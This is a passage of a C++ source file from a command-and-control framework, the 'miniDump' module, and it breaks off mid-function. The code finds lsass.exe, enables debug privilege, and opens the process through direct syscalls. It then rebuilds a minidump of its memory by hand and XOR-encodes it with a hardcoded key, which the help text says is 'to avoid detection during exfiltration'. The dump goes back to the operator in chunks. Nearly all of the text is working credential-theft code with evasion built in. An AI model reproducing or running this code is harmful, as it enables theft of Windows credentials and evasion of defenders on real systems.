mirror of
https://github.com/maxDcb/C2Core
synced 2026-06-08 15:48:01 +00:00
108a370807
* CommandSpecs * CommandSpecs * feat(command-specs): add simple module specs * listModule * AssemblyExec * AssemblyExecTests * Minor * Inject * InjectTests * Spec modules * Folder layout * upload & download * Chisel Minidump Powershell & Script * CoffLoader DotnetExec /KerberosUseTicket PsExec PwSh ScreenShot * add artifact_filters * Minor * stabilisation * Fixes * manual test * manual test * manual test * manual test * manual test * manual test * manual test * manual test * ScreenShot png * socks5 hostname * Maj for AI * minor
901 lines
27 KiB
C++
901 lines
27 KiB
C++
#include "MiniDump.hpp"
|
|
|
|
#include <algorithm>
|
|
#include <cstring>
|
|
#include <array>
|
|
#include <utility>
|
|
#include <vector>
|
|
|
|
#ifdef _WIN32
|
|
#include <windows.h>
|
|
#include <codecvt>
|
|
#include <locale>
|
|
|
|
#include <WinDef.h>
|
|
|
|
#include <syscall.hpp>
|
|
#endif
|
|
|
|
#include "Common.hpp"
|
|
#include "Tools.hpp"
|
|
|
|
|
|
using namespace std;
|
|
|
|
|
|
constexpr std::string_view moduleName = "miniDump";
|
|
constexpr unsigned long long moduleHash = djb2(moduleName);
|
|
constexpr std::size_t CHUNK_SIZE = 1 * 1024 * 1024;
|
|
|
|
|
|
#ifdef _WIN32
|
|
|
|
#pragma pack (push, 1)
|
|
|
|
|
|
struct Memory64Info
|
|
{
|
|
void* Address;
|
|
SIZE_T Size;
|
|
|
|
// Constructor for convenience
|
|
Memory64Info(void* address, SIZE_T size)
|
|
: Address(address), Size(size)
|
|
{
|
|
|
|
}
|
|
};
|
|
|
|
|
|
typedef struct _MiniDumpHeader
|
|
{
|
|
ULONG32 Signature;
|
|
SHORT Version;
|
|
SHORT ImplementationVersion;
|
|
ULONG32 NumberOfStreams;
|
|
ULONG32 StreamDirectoryRva;
|
|
ULONG32 CheckSum;
|
|
ULONG32 Reserved;
|
|
ULONG32 TimeDateStamp;
|
|
ULONG32 Flags;
|
|
} MiniDumpHeader, *PMiniDumpHeader;
|
|
|
|
|
|
typedef struct _MiniDumpDirectory
|
|
{
|
|
ULONG32 StreamType;
|
|
ULONG32 DataSize;
|
|
ULONG32 Rva;
|
|
} MiniDumpDirectory, *PMiniDumpDirectory;
|
|
|
|
|
|
typedef struct _MiniDumpSystemInfo
|
|
{
|
|
SHORT ProcessorArchitecture;
|
|
SHORT ProcessorLevel;
|
|
SHORT ProcessorRevision;
|
|
char NumberOfProcessors;
|
|
char ProductType;
|
|
ULONG32 MajorVersion;
|
|
ULONG32 MinorVersion;
|
|
ULONG32 BuildNumber;
|
|
ULONG32 PlatformId;
|
|
|
|
ULONG32 UnknownField1;
|
|
ULONG32 UnknownField2;
|
|
ULONG32 ProcessorFeatures;
|
|
ULONG32 ProcessorFeatures2;
|
|
ULONG32 UnknownField3;
|
|
SHORT UnknownField14;
|
|
char UnknownField15;
|
|
|
|
} MiniDumpSystemInfo, *PMiniDumpSystemInfo;
|
|
|
|
|
|
typedef struct _VsFixedFileInfo
|
|
{
|
|
ULONG32 dwSignature;
|
|
ULONG32 dwStrucVersion;
|
|
ULONG32 dwFileVersionMS;
|
|
ULONG32 dwFileVersionLS;
|
|
ULONG32 dwProductVersionMS;
|
|
ULONG32 dwProductVersionLS;
|
|
ULONG32 dwFileFlagsMask;
|
|
ULONG32 dwFileFlags;
|
|
ULONG32 dwFileOS;
|
|
ULONG32 dwFileType;
|
|
ULONG32 dwFileSubtype;
|
|
ULONG32 dwFileDateMS;
|
|
ULONG32 dwFileDateLS;
|
|
} VsFixedFileInfo, *PVsFixedFileInfo;
|
|
|
|
|
|
typedef struct _MiniDumpLocationDescriptor
|
|
{
|
|
ULONG32 DataSize;
|
|
ULONG32 rva;
|
|
} MiniDumpLocationDescriptor, *PMiniDumpLocationDescriptor;
|
|
|
|
|
|
typedef struct _MiniDumpModule
|
|
{
|
|
ULONG32 NumberOfModules;
|
|
ULONG64 BaseOfImage;
|
|
ULONG32 SizeOfImage;
|
|
ULONG32 CheckSum;
|
|
ULONG32 TimeDateStamp;
|
|
ULONG32 ModuleNameRva;
|
|
VsFixedFileInfo VersionInfo;
|
|
MiniDumpLocationDescriptor CvRecord;
|
|
MiniDumpLocationDescriptor MiscRecord;
|
|
ULONG64 Reserved0;
|
|
// ULONG64 Reserved1;
|
|
} MiniDumpModule, *PMiniDumpModule;
|
|
|
|
|
|
typedef struct _ModuleSize
|
|
{
|
|
ULONG32 size;
|
|
} ModuleSize, *PModuleSize;
|
|
|
|
|
|
|
|
typedef struct _MiniDumpMemory64ListStream
|
|
{
|
|
uint64_t NumberOfEntries;
|
|
uint64_t MemoryRegionsBaseAddress;
|
|
} MiniDumpMemory64ListStream, *PMiniDumpMemory64ListStream;
|
|
|
|
|
|
typedef struct _MiniDumpMemory64Info
|
|
{
|
|
uint64_t address;
|
|
uint64_t size;
|
|
} MiniDumpMemory64Info, *PMiniDumpMemory64Info;
|
|
|
|
|
|
__declspec(dllexport) MiniDump* MiniDumpConstructor()
|
|
{
|
|
return new MiniDump();
|
|
}
|
|
|
|
#else
|
|
|
|
|
|
__attribute__((visibility("default"))) MiniDump* MiniDumpConstructor()
|
|
{
|
|
return new MiniDump();
|
|
}
|
|
|
|
|
|
#endif
|
|
|
|
|
|
MiniDump::MiniDump()
|
|
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
|
: ModuleCmd(std::string(moduleName), moduleHash)
|
|
#else
|
|
: ModuleCmd("", moduleHash)
|
|
#endif
|
|
{
|
|
|
|
}
|
|
|
|
|
|
MiniDump::~MiniDump()
|
|
{
|
|
|
|
}
|
|
|
|
|
|
std::string MiniDump::getInfo()
|
|
{
|
|
std::string info;
|
|
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
|
info += "MiniDump Module:\n";
|
|
info += "Dump the LSASS process memory and return it as an XOR-encrypted generated TeamServer artifact.\n";
|
|
info += "The XORed dump can then be decrypted locally with the decrypt action.\n\n";
|
|
info += "Usage:\n";
|
|
info += " miniDump dump [artifactName]\n";
|
|
info += " - Dumps LSASS memory to an XOR-encrypted generated artifact (e.g., lsass.xored)\n\n";
|
|
info += " miniDump decrypt <path_to_xored_dump>\n";
|
|
info += " - Decrypts the specified XORed dump file for analysis (e.g., miniDump decrypt /tmp/dmpFile.xored)\n\n";
|
|
info += "Note:\n";
|
|
info += " - The dump file is XOR-encoded to avoid detection during exfiltration.\n";
|
|
info += " - Use the 'decrypt' command locally to convert it back to a usable minidump.\n";
|
|
#endif
|
|
return info;
|
|
}
|
|
|
|
|
|
#define dumpCmd "0"
|
|
|
|
std::string xorKey = "nY5LkT7dXmiWeF2QApDLMQmnHaCR4VzsC6zuN3QgZtTqU7qaaf";
|
|
|
|
|
|
int MiniDump::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
|
|
{
|
|
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
|
|
|
|
if(splitedCmd.size() == 3 && splitedCmd[1]=="dump")
|
|
{
|
|
c2Message.set_cmd(dumpCmd);
|
|
c2Message.set_instruction(splitedCmd[0]);
|
|
c2Message.set_outputfile(splitedCmd[2]);
|
|
return 0;
|
|
}
|
|
else if(splitedCmd.size() == 3 && splitedCmd[1]=="decrypt")
|
|
{
|
|
|
|
std::string filename = splitedCmd[2];
|
|
std::ifstream dumpfile(filename, std::ios::binary);
|
|
if (dumpfile)
|
|
{
|
|
dumpfile.seekg(0, std::ios::end);
|
|
std::streamsize size = dumpfile.tellg();
|
|
dumpfile.seekg(0, std::ios::beg);
|
|
|
|
std::string buffer(size, '\0');
|
|
|
|
if (!dumpfile.read(&buffer[0], size))
|
|
{
|
|
c2Message.set_returnvalue("Error: read file");
|
|
return -1;
|
|
}
|
|
|
|
XOR(buffer, xorKey);
|
|
|
|
std::string outputFilePath = filename+".dmp";
|
|
std::ofstream outputFile(outputFilePath, std::ios::binary);
|
|
if (outputFile)
|
|
{
|
|
outputFile.write(reinterpret_cast<const char*>(buffer.data()), buffer.size());
|
|
outputFile.close();
|
|
}
|
|
|
|
std::string outputMsg = "Output file: ";
|
|
outputMsg+=outputFilePath;
|
|
c2Message.set_returnvalue(outputMsg);
|
|
return -1;
|
|
}
|
|
else
|
|
{
|
|
c2Message.set_returnvalue("Error: file not found");
|
|
return -1;
|
|
}
|
|
}
|
|
else
|
|
{
|
|
c2Message.set_returnvalue(getInfo());
|
|
return -1;
|
|
}
|
|
|
|
#endif
|
|
return 0;
|
|
}
|
|
|
|
int MiniDump::emitChunk(C2Message& c2RetMessage)
|
|
{
|
|
if (m_dumpBuffer.empty() || m_bytesSent >= m_dumpBuffer.size())
|
|
return 0;
|
|
|
|
const std::size_t totalSize = m_dumpBuffer.size();
|
|
const std::size_t chunkSize = std::min(CHUNK_SIZE, totalSize - m_bytesSent);
|
|
c2RetMessage.set_instruction(std::to_string(moduleHash));
|
|
c2RetMessage.set_cmd("");
|
|
c2RetMessage.set_uuid(m_taskUuid);
|
|
c2RetMessage.set_outputfile(m_outputfile);
|
|
c2RetMessage.set_args(m_bytesSent == 0 ? "0" : "1");
|
|
c2RetMessage.set_data(m_dumpBuffer.data() + m_bytesSent, chunkSize);
|
|
|
|
m_bytesSent += chunkSize;
|
|
if (m_bytesSent == totalSize)
|
|
{
|
|
c2RetMessage.set_returnvalue("Success");
|
|
m_outputfile.clear();
|
|
m_taskUuid.clear();
|
|
m_dumpBuffer.clear();
|
|
m_bytesSent = 0;
|
|
}
|
|
else
|
|
{
|
|
c2RetMessage.set_returnvalue(std::to_string(m_bytesSent) + "/" + std::to_string(totalSize));
|
|
}
|
|
|
|
return 1;
|
|
}
|
|
|
|
int MiniDump::recurringExec(C2Message& c2RetMessage)
|
|
{
|
|
return emitChunk(c2RetMessage);
|
|
}
|
|
|
|
|
|
#ifdef _WIN32
|
|
|
|
|
|
#include <winternl.h>
|
|
|
|
|
|
typedef struct {
|
|
char base_dll_name[MAX_PATH];
|
|
char full_dll_path[MAX_PATH];
|
|
void* dll_base;
|
|
int size;
|
|
} ModuleInformation;
|
|
|
|
|
|
PVOID ReadRemoteIntPtr(HANDLE hProcess, PVOID mem_address)
|
|
{
|
|
if (hProcess == NULL || mem_address == NULL) return nullptr;
|
|
|
|
BYTE buff[sizeof(void*)];
|
|
SIZE_T bytesRead = 0;
|
|
NTSTATUS ntstatus = Sw3NtReadVirtualMemory_(hProcess, mem_address, buff, sizeof(buff), &bytesRead);
|
|
if (ntstatus != 0 || bytesRead < sizeof(void*)) {
|
|
// read failed
|
|
return nullptr;
|
|
}
|
|
|
|
// safe cast to pointer-sized integer then pointer
|
|
if (sizeof(void*) == 8) {
|
|
uint64_t v = 0;
|
|
memcpy(&v, buff, sizeof(v));
|
|
return (PVOID)(uintptr_t)v;
|
|
} else {
|
|
uint32_t v = 0;
|
|
memcpy(&v, buff, sizeof(v));
|
|
return (PVOID)(uintptr_t)v;
|
|
}
|
|
}
|
|
|
|
|
|
std::string ReadRemoteWStr(HANDLE hProcess, PVOID mem_address)
|
|
{
|
|
if (hProcess == NULL || mem_address == NULL) return std::string();
|
|
|
|
const SIZE_T CHUNK_BYTES = 512; // read 512 bytes per chunk (256 wchar_t)
|
|
std::vector<wchar_t> wacc;
|
|
BYTE buffer[CHUNK_BYTES];
|
|
SIZE_T bytesRead = 0;
|
|
PVOID cur_addr = mem_address;
|
|
const size_t MAX_ITER = 32; // cap to avoid infinite loop (32 * 512 = 16 KB)
|
|
|
|
for (size_t iter = 0; iter < MAX_ITER; ++iter)
|
|
{
|
|
NTSTATUS ntstatus = Sw3NtReadVirtualMemory_(hProcess, cur_addr, buffer, CHUNK_BYTES, &bytesRead);
|
|
if (ntstatus != 0 || bytesRead == 0)
|
|
{
|
|
break;
|
|
}
|
|
|
|
// number of wchar_t available in this chunk
|
|
SIZE_T wcharCount = bytesRead / sizeof(wchar_t);
|
|
wchar_t* wptr = reinterpret_cast<wchar_t*>(buffer);
|
|
|
|
bool foundNull = false;
|
|
for (SIZE_T i = 0; i < wcharCount; ++i)
|
|
{
|
|
if (wptr[i] == L'\0')
|
|
{
|
|
foundNull = true;
|
|
break;
|
|
}
|
|
wacc.push_back(wptr[i]);
|
|
}
|
|
|
|
if (foundNull)
|
|
{
|
|
break;
|
|
}
|
|
|
|
// advance to next chunk
|
|
cur_addr = (PVOID)((uintptr_t)cur_addr + bytesRead);
|
|
}
|
|
|
|
if (wacc.empty())
|
|
{
|
|
return std::string();
|
|
}
|
|
|
|
// ensure null-terminated wide string
|
|
wacc.push_back(L'\0');
|
|
std::wstring wstr(wacc.data());
|
|
|
|
// Convert to UTF-8
|
|
int required = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
|
|
if (required <= 0)
|
|
{
|
|
return std::string();
|
|
}
|
|
std::string out(required - 1, '\0'); // exclude terminating null
|
|
WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, &out[0], required, NULL, NULL);
|
|
|
|
return out;
|
|
}
|
|
|
|
|
|
static bool ci_contains(const std::string &haystack, const std::string &needle)
|
|
{
|
|
if (needle.empty()) return true;
|
|
std::string h = haystack;
|
|
std::string n = needle;
|
|
std::transform(h.begin(), h.end(), h.begin(), ::tolower);
|
|
std::transform(n.begin(), n.end(), n.begin(), ::tolower);
|
|
return (h.find(n) != std::string::npos);
|
|
}
|
|
|
|
|
|
// typedef for NtQueryInformationProcess
|
|
typedef NTSTATUS (NTAPI *PFN_NtQueryInformationProcess)(
|
|
HANDLE ProcessHandle,
|
|
PROCESSINFOCLASS ProcessInformationClass,
|
|
PVOID ProcessInformation,
|
|
ULONG ProcessInformationLength,
|
|
PULONG ReturnLength
|
|
);
|
|
|
|
|
|
std::vector<ModuleInformation> CustomGetModuleHandle(HANDLE hProcess, const std::string &moduleName)
|
|
{
|
|
std::vector<ModuleInformation> modules;
|
|
|
|
int process_basic_information_size = 48;
|
|
int peb_offset = 0x8;
|
|
int ldr_offset = 0x18;
|
|
int inInitializationOrderModuleList_offset = 0x30;
|
|
int flink_dllbase_offset = 0x20;
|
|
int flink_buffer_fulldllname_offset = 0x40;
|
|
int flink_buffer_offset = 0x50;
|
|
|
|
PROCESS_BASIC_INFORMATION pbi;
|
|
ULONG ReturnLength;
|
|
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
|
|
PFN_NtQueryInformationProcess pNtQuery = (PFN_NtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess");
|
|
NTSTATUS ntstatus = pNtQuery(hProcess, ProcessBasicInformation, &pbi, (ULONG)process_basic_information_size, &ReturnLength);
|
|
if (ntstatus != 0)
|
|
{
|
|
return modules;
|
|
}
|
|
|
|
void* ldr_pointer = (void*)((uintptr_t)pbi.PebBaseAddress + ldr_offset);
|
|
void* ldr_adress = ReadRemoteIntPtr(hProcess, ldr_pointer);
|
|
|
|
void* InInitializationOrderModuleList = (void*)((uintptr_t)ldr_adress + inInitializationOrderModuleList_offset);
|
|
void* next_flink = ReadRemoteIntPtr(hProcess, InInitializationOrderModuleList);
|
|
|
|
void* dll_base = (void*)1337;
|
|
while (dll_base != NULL)
|
|
{
|
|
next_flink = (void*)((uintptr_t)next_flink - 0x10);
|
|
|
|
// Get DLL base address
|
|
dll_base = ReadRemoteIntPtr(hProcess, (void*)((uintptr_t)next_flink + flink_dllbase_offset));
|
|
void* buffer = ReadRemoteIntPtr(hProcess, (void*)((uintptr_t)next_flink + flink_buffer_offset));
|
|
std::string base_dll_name = ReadRemoteWStr(hProcess, buffer);
|
|
|
|
// Full DLL Path
|
|
void* full_dll_name_addr = ReadRemoteIntPtr(hProcess, (void*)((uintptr_t)next_flink + flink_buffer_fulldllname_offset));
|
|
std::string full_dll_name = ReadRemoteWStr(hProcess, full_dll_name_addr);
|
|
|
|
if (dll_base != 0 && (moduleName.empty() || ci_contains(base_dll_name, moduleName)))
|
|
{
|
|
ModuleInformation mi;
|
|
memset(&mi, 0, sizeof(mi));
|
|
strncpy_s(mi.base_dll_name, base_dll_name.data(), MAX_PATH - 1);
|
|
strncpy_s(mi.full_dll_path, full_dll_name.data(), MAX_PATH - 1);
|
|
mi.dll_base = dll_base;
|
|
mi.size = 0;
|
|
modules.push_back(mi);
|
|
}
|
|
|
|
next_flink = ReadRemoteIntPtr(hProcess, (void*)((uintptr_t)next_flink + 0x10));
|
|
}
|
|
|
|
return modules;
|
|
}
|
|
|
|
|
|
DWORD GetPidByName(const char * pName)
|
|
{
|
|
PROCESSENTRY32 pEntry;
|
|
HANDLE snapshot;
|
|
|
|
pEntry.dwSize = sizeof(PROCESSENTRY32);
|
|
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
|
|
|
if (Process32First(snapshot, &pEntry) == TRUE)
|
|
{
|
|
while (Process32Next(snapshot, &pEntry) == TRUE)
|
|
{
|
|
if (_stricmp(pEntry.szExeFile, pName) == 0)
|
|
{
|
|
return pEntry.th32ProcessID;
|
|
}
|
|
}
|
|
}
|
|
CloseHandle(snapshot);
|
|
return 0;
|
|
}
|
|
|
|
|
|
BOOL setDebugPrivilege()
|
|
{
|
|
BOOL bRet = FALSE;
|
|
HANDLE hToken = NULL;
|
|
LUID luid = { 0 };
|
|
|
|
// if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
|
|
Sw3NtOpenProcessToken_(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
|
|
if(hToken!=NULL)
|
|
{
|
|
// TODO do manualy
|
|
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
|
|
{
|
|
TOKEN_PRIVILEGES tokenPriv = { 0 };
|
|
tokenPriv.PrivilegeCount = 1;
|
|
tokenPriv.Privileges[0].Luid = luid;
|
|
tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
|
|
|
// bRet = AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
|
|
Sw3NtAdjustPrivilegesToken_(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PULONG)NULL);
|
|
bRet = TRUE;
|
|
}
|
|
}
|
|
|
|
return bRet;
|
|
}
|
|
|
|
|
|
// Function to serialize a struct to a byte array
|
|
template <typename T>
|
|
std::vector<uint8_t> StructToByteArray(const T& header)
|
|
{
|
|
std::vector<uint8_t> byteArray(sizeof(T));
|
|
std::memcpy(byteArray.data(), &header, sizeof(T));
|
|
|
|
return byteArray;
|
|
}
|
|
|
|
|
|
std::vector<uint8_t> StringToUnicodeVector(const std::string& input)
|
|
{
|
|
std::wstring_convert<std::codecvt_utf8_utf16<wchar_t>> converter;
|
|
std::wstring wideString = converter.from_bytes(input);
|
|
|
|
std::vector<uint8_t> unicodeVector;
|
|
const uint8_t* data = reinterpret_cast<const uint8_t*>(wideString.data());
|
|
unicodeVector.insert(unicodeVector.end(), data, data + wideString.size() * sizeof(wchar_t));
|
|
|
|
return unicodeVector;
|
|
}
|
|
|
|
|
|
bool WriteStringToFile(const std::string& filename, const std::string& data)
|
|
{
|
|
std::ofstream outputFile(filename, std::ios::binary);
|
|
if (!outputFile.is_open()) {
|
|
return false; // File could not be opened
|
|
}
|
|
|
|
outputFile.write(data.data(), data.size());
|
|
|
|
if (!outputFile) {
|
|
return false; // Write failed
|
|
}
|
|
|
|
outputFile.close();
|
|
return true; // Success
|
|
}
|
|
|
|
|
|
typedef LONG(WINAPI* RtlGetVersionPtr)(POSVERSIONINFOW);
|
|
|
|
OSVERSIONINFOW GetOSInfo()
|
|
{
|
|
RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlGetVersion");
|
|
|
|
OSVERSIONINFOW osvi = { 0 };
|
|
osvi.dwOSVersionInfoSize = sizeof(osvi);
|
|
if (RtlGetVersion(&osvi) == 0)
|
|
{
|
|
return osvi;
|
|
}
|
|
else
|
|
{
|
|
return osvi;
|
|
}
|
|
}
|
|
|
|
|
|
// https://github.com/ricardojoserf/NativeDump
|
|
void CreateMinidump(HMODULE lsasrvdll_address, int lsasrvdll_size, const std::vector<Memory64Info>& mem64info_List, const std::string& memoryRegions_byte_arr, std::string& dumpfile)
|
|
{
|
|
std::vector<uint8_t> tmp;
|
|
|
|
//
|
|
// Header - 32 bytes
|
|
//
|
|
MiniDumpHeader header = { 0 };;
|
|
header.Signature = 0x504d444d;
|
|
header.Version = 0xa793;
|
|
header.NumberOfStreams = 0x3;
|
|
header.StreamDirectoryRva = 0x20;
|
|
|
|
std::vector<uint8_t> header_byte_arr = StructToByteArray(header);
|
|
// std::cout << "header_byte_arr " << header_byte_arr.size() << std::endl;
|
|
// std::cout << "header_byte_arr should be 32 bytes" << std::endl;
|
|
|
|
//
|
|
// Stream Directory - 36 bytes
|
|
//
|
|
MiniDumpDirectory minidumpStreamDirectoryEntry_1 = { 0 };;
|
|
minidumpStreamDirectoryEntry_1.StreamType = 4;
|
|
minidumpStreamDirectoryEntry_1.DataSize = 112;
|
|
minidumpStreamDirectoryEntry_1.Rva = 0x7c;
|
|
MiniDumpDirectory minidumpStreamDirectoryEntry_2 = { 0 };;
|
|
minidumpStreamDirectoryEntry_2.StreamType = 7;
|
|
minidumpStreamDirectoryEntry_2.DataSize = 56;
|
|
minidumpStreamDirectoryEntry_2.Rva = 0x44;
|
|
MiniDumpDirectory minidumpStreamDirectoryEntry_3 = { 0 };;
|
|
minidumpStreamDirectoryEntry_3.StreamType = 9;
|
|
minidumpStreamDirectoryEntry_3.DataSize = (16 + 16 * mem64info_List.size());
|
|
minidumpStreamDirectoryEntry_3.Rva = 0x12A;
|
|
|
|
std::vector<uint8_t> streamDirectory_byte_arr = StructToByteArray(minidumpStreamDirectoryEntry_1);
|
|
tmp = StructToByteArray(minidumpStreamDirectoryEntry_2);
|
|
streamDirectory_byte_arr.insert(streamDirectory_byte_arr.end(), tmp.begin(), tmp.end());
|
|
tmp = StructToByteArray(minidumpStreamDirectoryEntry_3);
|
|
streamDirectory_byte_arr.insert(streamDirectory_byte_arr.end(), tmp.begin(), tmp.end());
|
|
// std::cout << "streamDirectory_byte_arr " << streamDirectory_byte_arr.size() << std::endl;
|
|
|
|
//
|
|
// SystemInfoStream - 56 bytes
|
|
//
|
|
OSVERSIONINFOW osvi = GetOSInfo();
|
|
uint8_t systeminfostream[56] = { 0 };
|
|
int processor_architecture = 9;
|
|
uint32_t majorVersion = osvi.dwMajorVersion;
|
|
uint32_t minorVersion = osvi.dwMinorVersion;
|
|
uint32_t buildNumber = osvi.dwBuildNumber;
|
|
memcpy(systeminfostream, &processor_architecture, 4);
|
|
memcpy(systeminfostream + 8, &majorVersion, 4);
|
|
memcpy(systeminfostream + 12, &minorVersion, 4);
|
|
memcpy(systeminfostream + 16, &buildNumber, 4);
|
|
|
|
std::vector<uint8_t> systemInfoStream_byte_arr = StructToByteArray(systeminfostream);
|
|
// std::cout << "systemInfoStream_byte_arr " << systemInfoStream_byte_arr.size() << std::endl;
|
|
// std::cout << "systemInfoStream_byte_arr should be 56 bytes" << std::endl;
|
|
|
|
//
|
|
// ModuleList
|
|
//
|
|
MiniDumpModule module = { 0 };
|
|
module.NumberOfModules = 1;
|
|
module.BaseOfImage = reinterpret_cast<ULONG64>(lsasrvdll_address);
|
|
module.SizeOfImage = lsasrvdll_size;
|
|
module.ModuleNameRva = 0xE8;
|
|
// module.Reserved1 = 0;
|
|
|
|
// quick fix on the size!!!
|
|
std::vector<uint8_t> moduleListStream_byte_arr = StructToByteArray(module);
|
|
moduleListStream_byte_arr.push_back(0);
|
|
moduleListStream_byte_arr.push_back(0);
|
|
moduleListStream_byte_arr.push_back(0);
|
|
moduleListStream_byte_arr.push_back(0);
|
|
// std::cout << "moduleListStream_byte_arr " << moduleListStream_byte_arr.size() << std::endl;
|
|
// std::cout << "moduleListStream_byte_arr should be 112 bytes" << std::endl;
|
|
|
|
std::string moduleName = "C:\\Windows\\System32\\lsasrv.dll";
|
|
ModuleSize moduleSize;
|
|
moduleSize.size = moduleName.size()*2;
|
|
tmp = StructToByteArray(moduleSize);
|
|
moduleListStream_byte_arr.insert(moduleListStream_byte_arr.end(), tmp.begin(), tmp.end());
|
|
tmp = StringToUnicodeVector(moduleName.c_str());
|
|
moduleListStream_byte_arr.insert(moduleListStream_byte_arr.end(), tmp.begin(), tmp.end());
|
|
moduleListStream_byte_arr.push_back(0);
|
|
moduleListStream_byte_arr.push_back(0);
|
|
// std::cout << "moduleListStream_byte_arr " << moduleListStream_byte_arr.size() << std::endl;
|
|
// std::cout << "moduleListStream_byte_arr should be 174 bytes" << std::endl;
|
|
|
|
//
|
|
// Memory64List
|
|
//
|
|
int number_of_entries = mem64info_List.size();
|
|
int offset_mem_regions = 0x12A + 16 + (16 * number_of_entries);
|
|
MiniDumpMemory64ListStream memory64ListStream = { 0 };
|
|
memory64ListStream.NumberOfEntries = number_of_entries;
|
|
memory64ListStream.MemoryRegionsBaseAddress = offset_mem_regions;
|
|
std::vector<uint8_t> memory64ListStream_byte_arr = StructToByteArray(memory64ListStream);
|
|
// std::cout << "memory64ListStream_byte_arr " << memory64ListStream_byte_arr.size() << std::endl;
|
|
// std::cout << "memory64ListStream_byte_arr should be 16 bytes" << std::endl;
|
|
|
|
// std::cout << "mem64info_List.size() " << mem64info_List.size() << std::endl;+
|
|
for (int i = 0; i < mem64info_List.size(); i++)
|
|
{
|
|
MiniDumpMemory64Info memory64Info;
|
|
memory64Info.address = reinterpret_cast<uint64_t>(mem64info_List[i].Address);
|
|
memory64Info.size = mem64info_List[i].Size;
|
|
tmp = StructToByteArray(memory64Info);
|
|
memory64ListStream_byte_arr.insert(memory64ListStream_byte_arr.end(), tmp.begin(), tmp.end());
|
|
}
|
|
// std::cout << "memory64ListStream_byte_arr " << memory64ListStream_byte_arr.size() << std::endl;
|
|
|
|
// Create Minidump file complete byte array
|
|
std::vector<uint8_t> finalBuffer = header_byte_arr;
|
|
finalBuffer.insert(finalBuffer.end(), streamDirectory_byte_arr.begin(), streamDirectory_byte_arr.end());
|
|
finalBuffer.insert(finalBuffer.end(), systemInfoStream_byte_arr.begin(), systemInfoStream_byte_arr.end());
|
|
finalBuffer.insert(finalBuffer.end(), moduleListStream_byte_arr.begin(), moduleListStream_byte_arr.end());
|
|
finalBuffer.insert(finalBuffer.end(), memory64ListStream_byte_arr.begin(), memory64ListStream_byte_arr.end());
|
|
finalBuffer.insert(finalBuffer.end(), memoryRegions_byte_arr.begin(), memoryRegions_byte_arr.end());
|
|
// std::cout << "memoryRegions_byte_arr " << memoryRegions_byte_arr.size() << std::endl;
|
|
// std::cout << "finalBuffer " << finalBuffer.size() << std::endl;
|
|
|
|
dumpfile = std::string(finalBuffer.begin(), finalBuffer.end());
|
|
}
|
|
|
|
#endif
|
|
|
|
|
|
#define LSASS_PID_NOT_FOUND 0
|
|
#define ERROR_SETDEBUG 1
|
|
#define ERROR_OPEN_PROCESS 2
|
|
#define ERROR_GET_REMOTE_HANDLE 3
|
|
#define ERROR_WRITE_OUTPUT_FILE 4
|
|
|
|
|
|
int MiniDump::process(C2Message &c2Message, C2Message &c2RetMessage)
|
|
{
|
|
|
|
#ifdef _WIN32
|
|
|
|
if(c2Message.cmd() == dumpCmd)
|
|
{
|
|
std::string procname = "lsass.exe";
|
|
DWORD dwPid = GetPidByName(procname.c_str());
|
|
// std::cout << "dwPid " << dwPid << std::endl;
|
|
if(dwPid==0)
|
|
{
|
|
c2RetMessage.set_errorCode(LSASS_PID_NOT_FOUND);
|
|
return -1;
|
|
}
|
|
|
|
BOOL ret = setDebugPrivilege();
|
|
// std::cout << "ret " << ret << std::endl;
|
|
if(ret==FALSE)
|
|
{
|
|
c2RetMessage.set_errorCode(ERROR_SETDEBUG);
|
|
return -1;
|
|
}
|
|
|
|
// Get process handle with NtOpenProcess
|
|
HANDLE lsassHandle=NULL;
|
|
CLIENT_ID client_id = {0};
|
|
client_id.UniqueProcess = (HANDLE)dwPid;
|
|
client_id.UniqueThread = 0;
|
|
OBJECT_ATTRIBUTES objAttr = {0};
|
|
Sw3NtOpenProcess_(&lsassHandle, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, &objAttr, &client_id);
|
|
// HANDLE lsassHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid);
|
|
// std::cout << "lsassHandle " << lsassHandle << std::endl;
|
|
if(lsassHandle==NULL)
|
|
{
|
|
c2RetMessage.set_errorCode(ERROR_OPEN_PROCESS);
|
|
return -1;
|
|
}
|
|
|
|
// Loop the memory regions
|
|
SYSTEM_INFO sysInfo;
|
|
GetSystemInfo(&sysInfo);
|
|
|
|
MEMORY_BASIC_INFORMATION mbi;
|
|
char* address = 0;
|
|
|
|
// Get lsasrv.dll information
|
|
// Recoded GetRemoteModuleHandle to use the peb - https://github.com/ricardojoserf/NativeDump/blob/c-flavour/NativeDump/NativeDump.cpp
|
|
std::string lsasrvDll = "lsasrv.dll";
|
|
// HMODULE lsasrvdll_address = GetRemoteModuleHandle(lsassHandle, lsasrvDll.c_str());
|
|
// if(lsassHandle==NULL)
|
|
// {
|
|
// c2RetMessage.set_errorCode(ERROR_GET_REMOTE_HANDLE);
|
|
// return -1;
|
|
// }
|
|
|
|
std::vector<ModuleInformation> modules = CustomGetModuleHandle(lsassHandle, lsasrvDll);
|
|
if(modules.size()==0)
|
